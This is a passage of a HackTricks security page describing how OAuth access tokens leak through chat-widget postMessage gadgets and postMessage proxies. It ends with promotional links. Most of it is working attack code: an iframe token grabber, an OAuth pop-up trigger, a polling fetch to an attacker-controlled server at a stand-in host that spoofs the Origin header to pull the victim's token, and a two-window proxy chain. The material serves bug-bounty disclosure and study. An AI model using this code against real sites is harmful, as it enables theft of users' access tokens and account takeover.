||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||
<script>
|
||
var gotToken = false;
|
||
function reloadToCheck() {
|
||
if (gotToken) return;
|
||
setTimeout(function() {
|
||
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
|
||
}, 2000);
|
||
}
|
||
window.onmessage = function(e) {
|
||
if (e.data.key === 'api-token') {
|
||
gotToken = true;
|
||
lookInApi(e.data.value);
|
||
}
|
||
}
|
||
launchChatWindowByPostMessage();
|
||
</script>
|
||
```
|
||
2. Added a link to the malicious page to open up the sign-in-flow that would end up on the page with the chat-widget with the token in the URL:
|
||
|
||
```
|
||
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
|
||
```
|
||
3. The `launchChatWindowByPostMessage()`-function will continuously send a postMessage to the main window, if opened, to launch the chat-widget:
|
||
|
||
```javascript
|
||
function launchChatWindowByPostMessage() {
|
||
var launch = setInterval(function() {
|
||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||
}, 500);
|
||
}
|
||
```
|
||
4. When the victim clicked the link and ended up on the error page, the chat would launch and a chat-api-token would be created. My reload of the chat-widget iframe on the malicious page would get the `api-token` through postMessage and I could then start to look in the API for the current url of the victim:
|
||
|
||
```javascript
|
||
function lookInApi(token) {
|
||
var look = setInterval(function() {
|
||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||
if (e &&
|
||
e.api_data &&
|
||
e.api_data.current_url &&
|
||
e.api_data.current_url.indexOf('access_token') !== -1) {
|
||
var payload = e.api_data.current_url
|
||
document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
|
||
clearInterval(look);
|
||
}
|
||
});
|
||
}, 2000);
|
||
}
|
||
```
|
||
5. The server-side page at `https://fetch-server-side.attacker.test/?token=xxx` would make the API-call with the added Origin-header to make the Chat-API think I was using it as a legit origin:
|
||
|
||
```javascript
|
||
addEventListener('fetch', event => {
|
||
event.respondWith(handleRequest(event.request))
|
||
})
|
||
async function getDataFromChatApi(token) {
|
||
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
|
||
}
|
||
function handleRequest(request) {
|
||
const token = request.url.match('token=([^&#]+)')[1] || null;
|
||
return token ? getDataFromChatApi(token) : null;
|
||
}
|
||
```
|
||
6. When the victim clicked the link and went through the OAuth-dance and landed on the error page with the token added, the chat-widget would suddenly popup, register the current URL and the attacker would have the access token from the victim.
|
||
|
||
## Other ideas for leaking URLs
|
||
|
||
There are still other different types of gadgets waiting to be found. Here’s one of those cases I wasn’t able to find in the wild but could be a potential way to get the URL to leak using any of the response modes available.
|
||
|
||
### A page on a domain that routes any postMessage to its opener
|
||
|
||
Since all `web_message` response types cannot validate any path of the origin, any URL on a valid domain can receive the postMessage with the token. If there’s some form of postMessage-listener proxy on any of the pages on the domain, that takes any message sent to it and sends everything to its `opener`, I can make a double-window.open chain:
|
||
|
||
Attacker page 1:
|
||
|
||
```html
|
||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||
```
|
||
|
||
Attacker page 2:
|
||
|
||
```html
|
||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||
```
|
||
|
||
And the `https://example.com/postmessage-proxy` would have something along the lines of:
|
||
|
||
```javascript
|
||
// Proxy all my messages to my opener:
|
||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||
```
|
||
|
||
I could use any of the `web_message`-response modes to submit the token from the OAuth-provider down to the valid origin of `https://example.com`, but the endpoint would send the token further to `opener` which is the attacker’s page.
|
||
|
||
This flow might seem unlikely and it needs two clicks: one to create one opener-relationship between the attacker and the website, and the second to launch the OAuth-flow having the legit website as the opener of the OAuth-popup.
|
||
|
||
The OAuth-provider sends the token down to the legit origin:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
|
||
|
||
And the legit origin has the postMessage-proxy to its opener:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
|
||
|
||
Which causes the attacker to get the token:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|